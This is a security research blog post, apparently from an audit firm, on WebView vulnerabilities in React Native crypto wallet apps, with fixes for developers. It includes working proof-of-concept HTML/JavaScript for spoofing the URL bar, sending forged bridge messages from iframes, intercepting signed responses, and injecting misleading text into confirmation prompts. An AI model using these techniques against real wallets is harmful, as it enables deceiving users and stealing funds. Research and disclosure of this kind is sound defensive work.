Skip to main content
Bryce
Philip

You’re Probably Using WebViews Wrong: Common Security Pitfalls for Mobile Developers

Looking into WebViews and the common pitfalls for mobile developers
Article heading

Imagine that we’re making a crypto wallet. After implementing the core wallet features (like storing private keys, sending tokens, etc.), one of the features we might want to add next is integration with dApps.

If we make our wallet as a browser extension, this is easy. We can inject JavaScript APIs into the webpage, and the dApp can call these APIs to interact with the wallet functionality. This is the standard way to do it; MetaMask, Phantom, and many others are implemented this way.

But if you look at the mobile platform, there are no big crypto wallet mobile browser extensions. Why is that? Well, there are a few reasons why most don’t decide to go down the mobile browser extension route.

One reason is that there’s limited support for extensions in the first place. Many mobile browsers typically don’t support custom extensions, and the few browsers that do (like Safari on iOS) have significant limitations compared to their desktop counterparts. Even if they are supported, the stricter sandboxing and security models make it hard to integrate deeply into the browser.

But the biggest reason is probably that most people would simply expect to use an app for this. Most users probably wouldn’t know how to install an extension onto a mobile browser, but they would almost definitely know how to install an app from the Apple App Store or Google Play. They would also probably prefer native apps over browser-based solutions, and this gives developers access to more powerful APIs to make the user experience smoother (like access to cryptographic functions, biometrics, etc.).

So how do mobile app developers make crypto wallets that can interact with dApps? The solution is to integrate a web browser inside their own app using what’s called a WebView:

Unfortunately, the web is very complex, and properly securing a WebView that displays arbitrary content is difficult to get right and easy to get wrong. In our work with our clients, we’ve seen WebView security issues extremely frequently. In this post, we’ll discuss some common vulnerabilities in wallet WebView implementations, some common (and incorrect!) fixes, and finally some of the ways we’ve found to properly secure WebViews.

Beyond our client work, we’ve also responsibly disclosed similar vulnerabilities to MetaMask, Coinbase, Trust Wallet, Kraken, Zerion, Phantom, MyEtherWallet, and others through independent security research.

What Are WebViews Good For?

A WebView is an embedded browser pane that uses an existing browser engine like WebKit or Chromium. However, unlike a normal browser, the app developer has full control over it. Users can browse to a dApp website inside of our mobile app, and the app can expose any JavaScript API to the WebView that it likes.

We want our wallet to work across both Android and iOS. The most common way to do this by far is using Facebook’s React Native. One of the most common libraries for implementing a WebView in React Native is react-native-webview. This library uses Chromium on Android and WebKit on iOS and provides some shim code to allow us to implement our WebView code just once and have it work across both platforms.

The react-native-webview library is the most popular library for this by far. We’ve seen it used across many different wallet apps, so it’s the one we’ll be focusing on in this post.

The WebView Threat Model

When a dApp calls one of our APIs, it should send some data or message to us that we can handle. But where do we handle this data?

It would be bad if we processed sensitive user data inside of the WebView, since the webpage (which is potentially untrusted) could read and tamper with our user’s data. Instead, we need to process this data outside of the WebView, and we can create a bidirectional communication bridge between the two. This allows us to keep all the sensitive data inside of our app.

The react-native-webview library allows us to implement this using postMessage. The webpage can send messages to our app, and our app can process them and send a response back to the page.

This communication bridge is an essential part of our threat model, as it connects our trusted app to the untrusted, potentially malicious webpage.

However, a complete threat model must also consider the user interface (UI). Securing the bridge is pointless if the user can be tricked into authorizing malicious requests. Therefore, the second critical part of our threat model is maintaining a clear separation between trusted and untrusted UI elements.

In a standard mobile browser, the address bar is a trusted UI element; it’s the user’s primary indicator of the website’s URL. The webpage itself only controls the pixels below this address bar, in the untrusted content area. If a malicious website could somehow draw over the address bar, it could spoof its URL and deceive the user.

This distinction between trusted and untrusted UI becomes even more critical in a wallet app. When a dApp requests a signature, the wallet must display a confirmation prompt. This prompt is a trusted UI element, displaying critical security information like the origin of the request and the action being performed. The user assumes everything in this prompt is trustworthy.

Any failure to correctly model and defend these two attack surfaces — the communication bridge and the trusted UI — can jeopardize the security of the wallet and put user funds at risk. Unfortunately, getting this right is very difficult.

Problem 1: User Interface Attacks

While browsing the internet, a user will encounter many different dApps. The user can trust some of these dApps, but others may be malicious. As wallet developers, we need to give the user the ability to identify dApps and quickly make an accurate trust decision for each one.

The obvious idea is to display the URL of the dApp in a URL bar at the top so that the user always knows what dApp they are visiting. Unfortunately, when using react-native-webview, the current URL is not directly accessible via any API. As seen from the docs and during some of our audits, the most common way to do this is to get the URL from the event in one of the WebView’s event handlers, like onShouldStartLoadWithRequest or onNavigationStateChange, and save it in some state.

Let’s do that:

<WebView
source={{ uri: url }}
onNavigationStateChange={(e: WebViewNavigation) => {
setWebViewURL(e.url);
}}
/>

Our wallet app now looks like this:

But this leads to an issue: What if the URL is malicious? For example, what happens if the URL is too long or contains unusual Unicode characters?

The above image looks normal, right? But actually, the current URL is

"https://malicious.site/" + (" " * 83) + "https://zellic.io/" + (" " * 155)

Mobile Chrome solves this problem by

  1. removing the protocol and certain subdomains (like “www”) from the URL shown to the user
  2. ensuring the origin of the URL is always shown, even when the path is long
  3. displaying the path text in a gray color

Can we follow Chrome’s example here? First, let’s try including only the hostname in the UI since this is the most important:

<WebView
source={{ uri: url }}
onNavigationStateChange={(e: WebViewNavigation) => {
setWebViewURL(new URL(e.url).hostname);
}}
/>

Even at this early state, the code is already vulnerable! A network-local attacker (such as someone else on the same public WiFi) can intercept traffic made to an HTTP website like http://zellic.io, replacing it with their own, malicious website. And since the protocol is now gone from the URL bar, the user can’t tell that the site they’re visiting is insecure.

So, we need to

  • parse the URL carefully in the same way that our specific WebView implementation does;
  • prevent access to dApp actions (or block the site) when the user is visiting an HTTP (instead of HTTPS) website;
  • indicate the hostname of the website clearly either by hiding the path (like Safari) or showing it in gray (like Chrome);
  • test injections in all parts of a URL (auth, path, query parameters, hash, etc.);
  • test other types of unusual scenarios, like invalid URLs, long URL elision, invalid protocols, and URLs with SSL errors; and
  • test text rendering across a wide variety of operating system versions and devices to ensure that we don’t accidentally render URLs in a way that might confuse the user.

Unfortunately, this is still not enough. Even after implementing all of these fixes, this code is still vulnerable. As it turns out, the source of our URL is unsafe.

Let’s look back at our initial code:

<WebView
source={{ uri: url }}
onNavigationStateChange={(e: WebViewNavigation) => {
setWebViewURL(e.url);
}}
/>

Looking at react-native-webview’s source code, we see that WebViewNavigation is defined as follows:

export interface WebViewNavigation extends WebViewNativeEvent {
navigationType: 'click' | 'formsubmit' | 'backforward' | 'reload' | 'formresubmit' | 'other';
mainDocumentURL?: string;
}
export interface WebViewNativeEvent {
url: string;
loading: boolean;
title: string;
canGoBack: boolean;
canGoForward: boolean;
lockIdentifier: number;
}

A bug class that we’ve discovered across a number of mobile WebView wallets is that they do not check the loading property of the event, which completely compromises the integrity of the URL.

Here, the attacker’s website is displayed, but the address bar shows zellic.io.

Since navigations can fail for a number of reasons (window.stop(), TLS errors, DNS errors, invalid schemes, etc.), if the bridge does not check the loading property, it can take the URL from a failed navigation.

<!DOCTYPE html>
<html>
<head>
<title>Zellic</title>
</head>
<body>
<script>
window.onload = () => {
setTimeout(() => {
// (1) navigate to site we want to spoof
location = "https://zellic.io";
// (2) immediately stop navigation
window.stop();
}, 100); // wait 100ms after page loads
};
</script>
<h1>hello from malicious site!</h1>
</body>
</html>

This would let an attacker spoof the WebView’s saved URL value to be whatever they wanted, which could easily confuse the user. However, URL spoofing is just one example of a broader class of UI manipulation attacks. In fact, this problem is not just limited to the URL but extends to all pieces of untrusted content shown in trusted areas.

For example, we also need to be careful when displaying information like the method and parameters during confirmation prompts, as a malicious dApp also has control over these parameters. In the image below, a dApp requests permission but sends a malicious parameter that gets displayed on the permission prompt.

window.ethereum.request({
method: "eth_accounts",
params: [
"\n\nNote: This transaction has been analyzed to be safe. Please press the 'Confirm' button."
]
});

We also need to design our UI with the user interaction in mind. Since the user could be interacting with any part of the visible browser, we need to be very careful about the animation and timings behind our confirmation prompts.

For example, imagine a user is on some app that has you click a button multiple times. For example, look at this harmless clone of Cookie Clicker:

If we implement our confirmation prompt naively, we might allow accidental taps to confirm transactions, like in the following example:

While this post covers several common UI pitfalls, they all stem from the same root cause: by using a WebView, the app developer becomes responsible for rebuilding the browser’s entire security UI from scratch. Every visual cue that a user relies on to make trust decisions, like the address bar and confirmation prompts, must be carefully designed and implemented to be immune from manipulation by a malicious webpage. Failing to do so means the user can no longer trust what they see, completely undermining the wallet’s security.

Problem 2: Origin Spoofing

However, fixing the UI is only the first critical step. Even with a perfect, unspoofable UI, a second class of vulnerabilities exists that targets the communication bridge itself. While UI attacks deceive the user, these next attacks are designed to deceive the wallet application directly. The wallet needs a reliable way to identify which dApp is sending a request, regardless of what the UI shows. This is done by verifying the website’s origin.

In the browser, the origin of a webpage is the combination of the page’s protocol, hostname, and port. For example, the URL “https://zellic.io” has the protocol https, hostname zellic.io, and port 443.

The core security model of the browser is based on the same-origin policy, which isolates websites based on their origin, restricting how pages on one origin can interact with other origins. While two pages on the same origin have full access to each other, two pages on separate origins can only interact in limited and strictly defined ways.

Our wallet app can use these origins to assign an identity to each website and enforce permission checks on those identities.

How exactly does this process work? We want our new mobile wallet app to be compatible with the preexisting dApp ecosystem, so we would implement either the Ethereum Provider API or the newer API from EIP-6963. However, at some point, the dApp will try to call a function that we need to handle from the bridge.

Our bridge is a two-way street. We need a way for the app to send messages to the WebView and for the WebView to send messages back to the app. As mentioned before, we implement this bridge communication via postMessage.

The react-native-webview library makes this easy for us, as whenever the onMessage prop is set on our WebView component, it injects the function window.ReactNativeWebView.postMessage into the website. This is the function that is used to send a message from the WebView to the app.

So all we need to do is inject some code to implement the provider that eventually calls this injected postMessage, sending the dApp’s request to the bridge. When we receive the message from the bridge, we handle it, and then we send the response back.

Sending the response from the app to the WebView can be done in a number of ways, but the most common we’ve seen is by calling the injectJavaScript method to execute some previously injected callback function with the response data.

This is how most mobile apps using react-native-webview are implemented. Now, this raises one question: When we receive a message from the bridge, how do we know the origin of the website that sent it? This is important, as the user needs to be able to distinguish between different dApps. If a malicious dApp could impersonate an authorized website, a user could lose their funds.

If we have correctly implemented the UI for the URL bar, we should know what site the user is currently on. We could use this to verify the message! Surprisingly, this leads to another bug that we’ve discovered in some of our audits: window.ReactNativeWebView may also be injected into child iframes.

In the above video, the site str.lc embeds an iframe to the malicious site z3.is. And even though str.lc runs no dApp code, a confirmation prompt still appears with the origin str.lc.

Here’s the code on str.lc:

<!DOCTYPE html>
<html>
<body>
<h1>hi from str.lc</h1>
<h2>this page only contains an iframe</h2>
<h3>(does not run any dApp methods)</h3>
<iframe src="//z3.is/zellic/conn-frame.html" style="width: 100%"></iframe>
</body>
</html>

As you can see, the page on str.lc does not run any dApp code. In HTML, <iframe> elements essentially nest other webpages inside of the parent page — str.lc embeds an iframe to z3.is, which contains the following code:

<!DOCTYPE html>
<html>
<body>
<h1>hi from z3.is</h1>
<pre id="output"></pre>
<script>
const output = document.getElementById('output');
const log = (msg) => {
output.appendChild(document.createTextNode(msg + '\n'));
};

if (!window.ethereum) {
log('window.ethereum not found');
}

const send = (data) => {
if (window.ReactNativeWebView) {
log('using window.ReactNativeWebView')
window.ReactNativeWebView.postMessage(JSON.stringify(data));
}
else {
log('no bridge found');
}
};

send({
"payload": {"method": "eth_accounts"},
"reqId": crypto.randomUUID(),
"type": "PAGE_REQUEST"
});
</script>
</body>
</html>

In the child z3.is iframe, window.ethereum does not exist since that code is only injected into the top-level main frame. However, even though we can’t call window.ethereum.request, we do have access to the bridge via window.ReactNativeWebView. So, if we can reverse-engineer the data that window.ethereum.request sends to the bridge, we can send it directly ourselves in our child frame.

dApps may use iframes for advertisements or analytics, so if one of these iframes were controlled by a malicious attacker, they could send messages from inside the child iframe directly to the bridge. This allows the attacker to spoof the origin of their message, which may lead a user to accidentally confirm it and cause the loss of funds.

However, window.ReactNativeWebView only exists in child iframes on Android and not on iOS. To understand why, we need to look at the react-native-webview code.

In RNCWebView.java, if messaging is enabled, either the addWebMessageListener or addJavascriptInterface function is called with the name “ReactNativeWebView”, exposing the RNCWebViewBridge object to pages in the WebView. This object contains a postMessage function, which our JavaScript provider uses to communicate with the bridge.

How does this bridge get exposed to child iframes? If we look at the Android documentation for the addJavascriptInterface function, we see the following:

Injects the supplied Java object into this WebView. The object is injected into all frames of the web page, including all the iframes, using the supplied name.…

Because the object is exposed to all the frames, any frame could obtain the object name and call methods on it. There is no way to tell the calling frame’s origin from the app side, so the app must not assume that the caller is trustworthy unless the app can guarantee that no third party content is ever loaded into the WebView even inside an iframe.

So, all child frames can access the bridge, meaning we cannot tell the sender of any message we receive.

Why does this not work on iOS? Looking at RNCWebViewImpl.m, we see the following code:

static NSString *const MessageHandlerName = @"ReactNativeWebView";
// …
- (void)setMessagingEnabled:(BOOL)messagingEnabled {
_messagingEnabled = messagingEnabled;

self.postMessageScript = _messagingEnabled ?
[
[WKUserScript alloc]
initWithSource: [
NSString
stringWithFormat:
@"window.%@ = window.%@ || {};"
"window.%@.postMessage = function (data) {"
" window.webkit.messageHandlers.%@.postMessage(String(data));"
"};", MessageHandlerName, MessageHandlerName, MessageHandlerName, MessageHandlerName
]
injectionTime:WKUserScriptInjectionTimeAtDocumentStart
// …
forMainFrameOnly:YES
] :
nil;
// …
}

This code appears to be safe since it sets forMainFrameOnly to YES. But if we look closer at the code that is actually executed, it sets window.ReactNativeWebView.postMessage to a shim, which actually calls another function, window.webkit.messageHandlers.ReactNativeWebView.postMessage.

As it turns out, child iframes can talk directly to the bridge on iOS by calling the function window.webkit.messageHandlers.ReactNativeWebView.postMessage, meaning that this attack works on both iOS and Android:

<!DOCTYPE html>
<html>
<body>
<h1>hi from z3.is</h1>
<pre id="output"></pre>
<script>
const output = document.getElementById('output');
const log = (msg) => {
output.appendChild(document.createTextNode(msg + '\n'));
};
const send = (data) => {
if (window.ReactNativeWebView) {
log('using window.ReactNativeWebView')
window.ReactNativeWebView.postMessage(JSON.stringify(data));
}
else if (window?.webkit?.messageHandlers?.ReactNativeWebView) {
log('using window.webkit.messageHandlers.ReactNativeWebView');
window.webkit.messageHandlers.ReactNativeWebView.postMessage(JSON.stringify(data));
}
else {
log('no bridge found');
}
};

send({
"payload": {"method": "eth_accounts"},
"reqId": crypto.randomUUID(),
"type": "PAGE_REQUEST"
});
</script>
</body>
</html>

Since child iframes can talk directly to the bridge, we can’t use the WebView’s current URL to determine the sender of the message. The other way we have seen this implemented in our audits is to look at the message event itself.

The onMessage event handler receives an event of type WebViewMessageEvent, which has this form:

export type WebViewMessageEvent = NativeSyntheticEvent<WebViewMessage>;
export interface WebViewMessage extends WebViewNativeEvent {
data: string;
}

Since it extends the same WebViewNativeEvent type from above, the event has a url property, which we could read to determine the sender’s URL. However, it turns out that this may still be inaccurate since older versions of react-native-webview had the url property of the event point to the main frame.

In these old versions, the url property would be the current URL of the main frame at the time of the event’s creation. This could be incorrect in two cases:

  1. If the message was sent from a child frame, then the URL would be of the main frame.
  2. If a message was sent from a malicious website and then redirected quickly to a trusted site, then there could be a race condition where the URL would be of the trusted site.

The newer version of react-native-webview should fix these issues, but we have still seen this issue fairly often. But for added defense in depth, you could inject a random token to each site and require that they send back the correct token before their request is processed.

As we’ve seen, child iframes may be able to send a message to the bridge, which is not ideal. However, the response from the bridge is still only sent to the main frame, meaning the malicious child iframe can’t read the response, right?

Problem 3: Message Interception

As you may have guessed, the communication from the bridge back to the main page can be intercepted. To understand why, we need to understand the methods the bridge has to send data back to the WebView.

The documentation specifies three methods for communicating back to WebView: the injectedJavaScript prop, the injectJavaScript function, and another postMessage function. The first one is used to inject JavaScript when the page loads, so it’s useful for injecting our provider code but not useful for communication from the bridge.

The latter two work well for bridge communication, as they allow you to inject JavaScript or send a message into the WebView at runtime.

The bridge might have some code like this:

const getInjectableJSMessage = (resp) => {
return `window.ethereum.handlers.onMessage(${resp})`;
};
const processMessage = async (origin, req) => {
const data = await handlers.process(origin, req.payload);
const resp = {
payload: data,
reqId: req.reqId
};
webViewRef.current.injectJavaScript(getInjectableJSMessage(resp));
};

The processMessage function above takes the origin and request from the dApp and runs handlers.process, getting the data to be sent back to the WebView. Then, it calls injectJavaScript on the response.

However, there’s a race condition here: there’s no way to tell if the website that we’re injecting JavaScript into is the same as the website that sent the request in the first place! The dApp that initially sent the request could be navigated to a malicious dApp, which would get the code injected. Then, the malicious dApp could overwrite window.ethereum.handlers.onMessage with any function to steal the response from the bridge. This means that not only can we not tell who sent the request, we also cannot tell who is receiving the response.

This issue can also be combined with the previous one: a malicious iframe could send a message to the bridge by using window.ReactNativeWebView.postMessage or window.webkit.messageHandlers.ReactNativeWebView.postMessage, which the bridge would incorrectly assume is from the main frame. Then, it could navigate the top window to its own malicious page, which could intercept the response. This gives child iframes full access to both requests to and responses from the bridge.

In the above video, the site str.lc first requests access to the user’s address, and then attempts to sign 0x41424344. However, before the user confirms the request, the WebView is navigated to z3.is. Here’s the code on str.lc:

<!DOCTYPE html>
<html>
<body>
<h1>hi from str.lc</h1>
<button onclick="go()">go</button>
<script>
async function go() {
const [addr] = await window.ethereum.request({ method: "eth_accounts" });
if (!addr) return;

window.ethereum.request({
method: "personal_sign",
params: [addr, "0x41424344"],
});

await new Promise(r => setTimeout(r, 500));
location = "https://z3.is/zellic/sig-intercept.html";
}
</script>
</body>
</html>

After personal_sign is run, the confirmation window appears. In the background, the dApp is navigated to z3.is. This could happen through any number of ways: a malicious iframe, some link that was clicked previously finishing a navigation, and so on. On z3.is, we have this code, which intercepts the request:

<!DOCTYPE html>
<html>
<body>
<h1>hi from z3.is</h1>
<pre id="output"></pre>
<script>
const output = document.getElementById('output');
const log = (msg) => {
output.appendChild(document.createTextNode(msg + '\n'));
};

setInterval(() => {
window.ethereum.handlers.onMessage = (data) => {
log('Message intercepted: ' + JSON.stringify(data, null, 2));
};
}, 100);
</script>
</body>
</html>

The naive fix would be to check the origin right before we send the response:

const processMessage = async (requestOrigin: string, req: DAppPageMessage) => {
const data = await handlers.process(requestOrigin, req.payload as DAppRequest);
if (!data) return;
const resp: DAppPageMessage = {
type: DAppPageMessageType.Response,
payload: data,
reqId: req.reqId
};
if (currentWebViewOrigin !== requestOrigin) return; // (!) new check added
webViewRef.current!.injectJavaScript(getInjectableJSMessage(resp));
};

However, this does not work either. This reduces the window for the race condition to just the final injectJavaScript line, but the window is still there. An attacker can extend the window by inflating the response with a large amount of data, as the bridge still needs to serialize the data before injecting it.

To prevent message interception, the injected JavaScript needs to check that the origin is correct before transmitting the data. For example,

const getInjectableJSMessage = (resp, origin) => {
return `
if (location.origin === "${origin}") {
window.ethereum.handlers.onMessage(${resp});
}
`;
};

This example should be safe, as a malicious page cannot overwrite location.origin, and so the code that contains the response will not run. However, this is not safe if window.origin is used, since that can be overwritten by any page. The code injected needs to be minimal, as any function called could be overwritten by the receiving page.

For example, this is unsafe since an attacker could overwrite console.debug:

const getInjectableJSMessage = (resp, origin) => {
return `
console.debug("[DEBUG] message", ${resp}, "received from", origin);
if (location.origin === "${origin}") {
window.ethereum.handlers.onMessage(${resp});
}
`;
};

This is also unsafe:

const getInjectableJSMessage = (resp, origin) => {
return `
(function() {
console.debug("[DEBUG] message received from", origin);
if (location.origin === "${origin}") {
window.ethereum.handlers.onMessage(${resp});
}
})();
`;
};

Even though the response is not sent to console.debug, an attacker could overwrite console.debug with a function that reads the arguments from the calling function, like

console.debug = function () {
console.log(arguments.callee.caller);
};

Conclusion

Implementing a secure WebView for a crypto wallet app is deceptively complex. It looks like it should be simple — mobile operating systems already provide you with APIs that let you create a customizable browser, and libraries like react-native-webview seem to handle all of the remaining complexity for you. However, this straightforward task quickly turns into a minefield of security vulnerabilities where a single mistake can directly compromise user funds.

The three core vulnerability classes discussed in this article are some of the most common, but they are far from the only ones. In our work, we’ve encountered a wide range of other critical issues, including insecure WalletConnect implementations, unsafe deep link handling, subtle race conditions in event processing, and cryptographic misimplementations.

All of these vulnerabilities share a common thread: they exploit the fundamental challenge of maintaining trust in an environment where untrusted web content operates within the context of your trusted crypto app, which blurs the boundaries between what users can and cannot trust.

Here are some key takeaways for developers working on crypto wallet apps:

  1. Separate trusted and untrusted UI clearly. Establish clear visual boundaries between content controlled by your app versus untrusted content displayed from webpages. While the WebView API is provided to you, you are essentially rebuilding the browser UI from scratch.
  2. Consider the entire bridge attack surface. Your bridge is a two-way street. Remember both request sending and response receiving can be compromised, and design your implementation with this in mind.
  3. Test extensively across platforms. There are differences between iOS and Android WebView APIs that can create subtle but exploitable vulnerabilities.
  4. Assume compromise. Consider adding additional defense in depth countermeasures in the case that malicious content reaches your bridge — for example, transaction simulation, integrating with platforms that can detect potentially malicious transactions, and so on.

The principles and techniques discussed here don’t just apply to crypto wallets but to any application that embeds web content while handling sensitive operations. As the mobile ecosystem continues to evolve and WebViews become increasingly prevalent, understanding and mitigating these attack vectors will only become more important.

About Us

Zellic specializes in securing emerging technologies. Our security researchers have uncovered vulnerabilities in the most valuable targets, from Fortune 500s to DeFi giants.

Developers, founders, and investors trust our security assessments to ship quickly, confidently, and without critical vulnerabilities. With our background in real-world offensive security research, we find what others miss.

‍Contact us for an audit that’s better than the rest. Real audits, not rubber stamps.